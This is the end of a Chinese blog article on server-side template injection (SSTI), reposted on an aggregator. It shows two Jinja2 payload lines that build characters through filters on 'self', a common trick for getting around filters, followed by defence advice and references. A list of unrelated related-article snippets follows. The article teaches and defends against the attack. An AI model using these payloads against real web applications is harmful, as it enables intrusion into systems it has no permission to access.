# 0
{% set num = (self|string|length) %}{{num}}
# 24
{% set point = self|float|string|min %}{{point}}
# .

防御方法:

(1)和其他的注入防御一样,绝对不要让用户对传入模板的内容或者模板本身进行控制
(2)减少或者放弃直接使用格式化字符串结合字符串拼接的模板渲染方式,使用正规的模板渲染方法

参考文章:

一篇文章带你理解漏洞之 SSTI 漏洞 | K0rz3n's Blog

 【网络安全 | 1.5w字总结】SSTI漏洞入门,这一篇就够了。-CSDN博客

 超详细SSTI模板注入漏洞原理讲解_ssti注入-CSDN博客

 https://www.cnblogs.com/2ha0yuk7on/p/16648850.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/757437.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

深入理解Java并发工具包中的CyclicBarrier

码到三十五 &#xff1a; 个人主页 心中有诗画&#xff0c;指尖舞代码&#xff0c;目光览世界&#xff0c;步履越千山&#xff0c;人间尽值得 ! 在Java的并发编程世界中&#xff0c;协调和管理多个线程的执行是一项复杂而关键的任务。为了简化这一挑战&#xff0c;Java并发包…

数据分析-Pandas序列滑动窗口配置参数

数据分析-Pandas序列滑动窗口配置参数 数据分析和处理中&#xff0c;难免会遇到各种数据&#xff0c;那么数据呈现怎样的规律呢&#xff1f;不管金融数据&#xff0c;风控数据&#xff0c;营销数据等等&#xff0c;莫不如此。如何通过图示展示数据的规律&#xff1f; 数据表&…

初探Springboot 参数校验

文章目录 前言Bean Validation注解 实践出真知异常处理 总结 前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。点击跳转到网站。 前言 工作中我们经常会遇到验证字段是否必填&#xff0c;或者字段的值是否…

极客早报第3期:罗斯否认插足凯特王妃婚姻;清明放假调休3天;国产伟哥去年销售近13亿

一分钟速览新闻点&#xff01; 每日简报 罗斯否认插足凯特王妃婚姻清明放假调休3天国产伟哥去年销售近13亿男子持台球杆殴打2名女店员被抓今日春分淀粉肠小王子带货日销售额涨超10倍[高中生被打伤下体休学 邯郸通报](https://www.baidu.com/s?wd高中生被打伤下体休学 邯郸通报…

ARM Cortex-R82处理器在压缩SSD场景的应用

ScaleFlux公司宣布在其下一代企业级SSD控制器产品线中采用Arm公司的Cortex-R82处理器。这一决策旨在应对企业环境中对高带宽存储解决方案日益增长的需求&#xff0c;并通过提升数据传输速度和效率来满足市场期待。 Arm Cortex-R82处理器是Arm公司迄今为止性能最强的实时处理器…

STC 51单片机烧录程序遇到一直检测单片机的问题

准备工作 一&#xff0c;需要一个USB-TTL的下载器 &#xff0c;并安装好对应的驱动程序 二、对应的下载软件&#xff0c;stc软件需要官方的软件&#xff08;最好是最新的&#xff0c;个人遇到旧的下载软件出现问题&#xff09; 几种出现一直检测的原因 下载软件图标&#xf…

Unbuntu20.04 git push和pull相关问题

文章目录 Unbuntu20.04 git push和pull使用&#xff11;&#xff0e;下载[Git工具包](https://git-scm.com/downloads)&#xff12;&#xff0e;建立本地仓库&#xff13;&#xff0e;将本地仓库与github远程仓库关联&#xff14;&#xff0e;将本地仓库文件上传到github远程仓…

J4G企业通讯ip电话 sip对讲主机 停车场对讲主机

J4G企业通讯ip电话 sip对讲主机 停车场对讲主机 SV-J4G 是一款企业级彩屏网络电话&#xff0c;具有高清语音&#xff0c;320x240 2.8英寸彩屏&#xff0c;支持千兆以太网&#xff0c;12个SIP账号&#xff0c;支持PoE供电&#xff0c;支持外接EHS无线耳机&#xff0c;三方电话会…

Grok-1:参数量最大的开源大语言模型

Grok-1&#xff1a;参数量最大的开源大语言模型 项目简介 由马斯克领衔的大型模型企业 xAI 正式公布了一项重要动作&#xff1a;开源了一个拥有 3140 亿参数的混合专家模型&#xff08;MoE&#xff09;「Grok-1」&#xff0c;连同其模型权重和网络架构一并公开。 此举将 Gro…

清华大模型ChatGLM3部署初体验

正文共&#xff1a;1555 字 17 图&#xff0c;预估阅读时间&#xff1a;2 分钟 ChatGLM3是智谱AI和清华大学KEG实验室联合发布的对话预训练模型。该项目在GitHub的工程链接为&#xff1a; https://github.com/THUDM/ChatGLM3 在人工智能领域中&#xff0c;类似“3B”、“6B”、…

C++--STL标准库

一.模板 模板是C中泛型编程的基础。一个模板就是一个创建类或函数的蓝图。 生活中常见的模板有: 编写一个比较两个值大小的函数&#xff0c;如果第一个值大于第二个值返回大于0的数字,两个值相等返回0,第一个值小于第二个值返回小于0的数字。 我们可以根据值类型定义多个函数&…

Go语言实战:深入掌握标准库flag的强大用法

Go语言实战&#xff1a;深入掌握标准库flag的强大用法 引言flag库基础命令行参数的基本概念使用flag库定义和解析命令行参数处理非选项命令行参数小结 高级用法自定义Flag的解析命令行参数的分组和嵌套小结 实战技巧组织复杂命令行应用的参数错误处理和用户帮助信息调试命令行应…

php基于人工智能预警突发疾病系统python-flask-django-nodejs

根据现实需要&#xff0c;此系统我们设计出一下功能&#xff0c;主要有以下功能模板。 前台功能&#xff1a;首页、医生、疾病知识、后台管理。 医生功能&#xff1a;首页、个人中心、咨询信息管理、疾病预警管理、高血压管理、糖尿病管理。 用户功能&#xff1a;首页、个人中心…

数据分析能力模型分析与展示

具体内容&#xff1a; 专业素质 专业素质-01 数据处理 能力定义•能通过各种数据处理工具及数据处理方法&#xff0c;对内外部海量数据进行清洗和运用&#xff0c;提供统一数据标准&#xff0c;为业务分析做好数据支持工作。 L1•掌握一…

SinoDB客户端工具dbaccess

类似Oracle的客户端工具sqlplus&#xff0c;Mysql的客户端工具mysql&#xff0c;SinoDB数据库也有自带的命令行客户端工具dbaccess。 dbaccess 识别用户输入&#xff0c;将用户输入的 SQL 语句打包发送给 SinoDB 数据库服务器执行&#xff0c;然后接收服务器的执行结果&#xf…

Leet code 238 除自身以外的数组的乘积

解题思路 以示例1为例 创建两个数组dp&#xff08;统计该位置之的所有乘积&#xff09; bp&#xff08;统计该位置之后的所有乘积&#xff09; 比如 1 2 3 4 3的dp应该等于 1*2 bp应该等于 4 这样 dp* bp就为该位置的答案 分别计算出每个位置前后的乘积然后放入数组 然…

3.leetcode---验证回文串(Java版)

链接: https://leetcode.cn/problems/XltzEq/description/ 给定一个字符串 s &#xff0c;验证 s 是否是 回文串 &#xff0c;只考虑字母和数字字符&#xff0c;可以忽略字母的大小写。 本题中&#xff0c;将空字符串定义为有效的 回文串 。 示例 1: 输入: s “A man, a plan…

2022年安徽省职业院校技能大赛 (高职组)“云计算”赛项样卷

#需要资源或有问题的&#xff0c;可私博主&#xff01;&#xff01;&#xff01; #需要资源或有问题的&#xff0c;可私博主&#xff01;&#xff01;&#xff01; #需要资源或有问题的&#xff0c;可私博主&#xff01;&#xff01;&#xff01; 第一场次&#xff1a;私有云(5…

【Linux】自动化构建工具-make/Makefile

个人主页 &#xff1a; zxctscl 如有转载请先通知 文章目录 1. 前言2. 认识make/Makefile3. 了解make/Makefile原理3.1 依赖关系和依赖方法3.2 make检测的顺序3.3 PHONY:XXX 4. makefile内置符号 1. 前言 在上一篇中已经了解了【Linux】编译器-gcc/g使用&#xff0c;这次来一起…

具有功耗低、触控灵敏度高、抗干扰能力强等功能的单键电容式触控芯片——TS223B,适用于小家电、电子玩具等产品

•应用领域• 适用于小家电、电子玩具、智能物联网等各种触控产品方案。 •功能介绍• 这款推出的单键电容式触控芯片TS223B具有功耗低、触控灵敏度高、抗干扰能力强等众多优势&#xff0c;输出方式包括直接输出、电平翻转输出&#xff0c;并且输出的初始状态可以配置&#xff…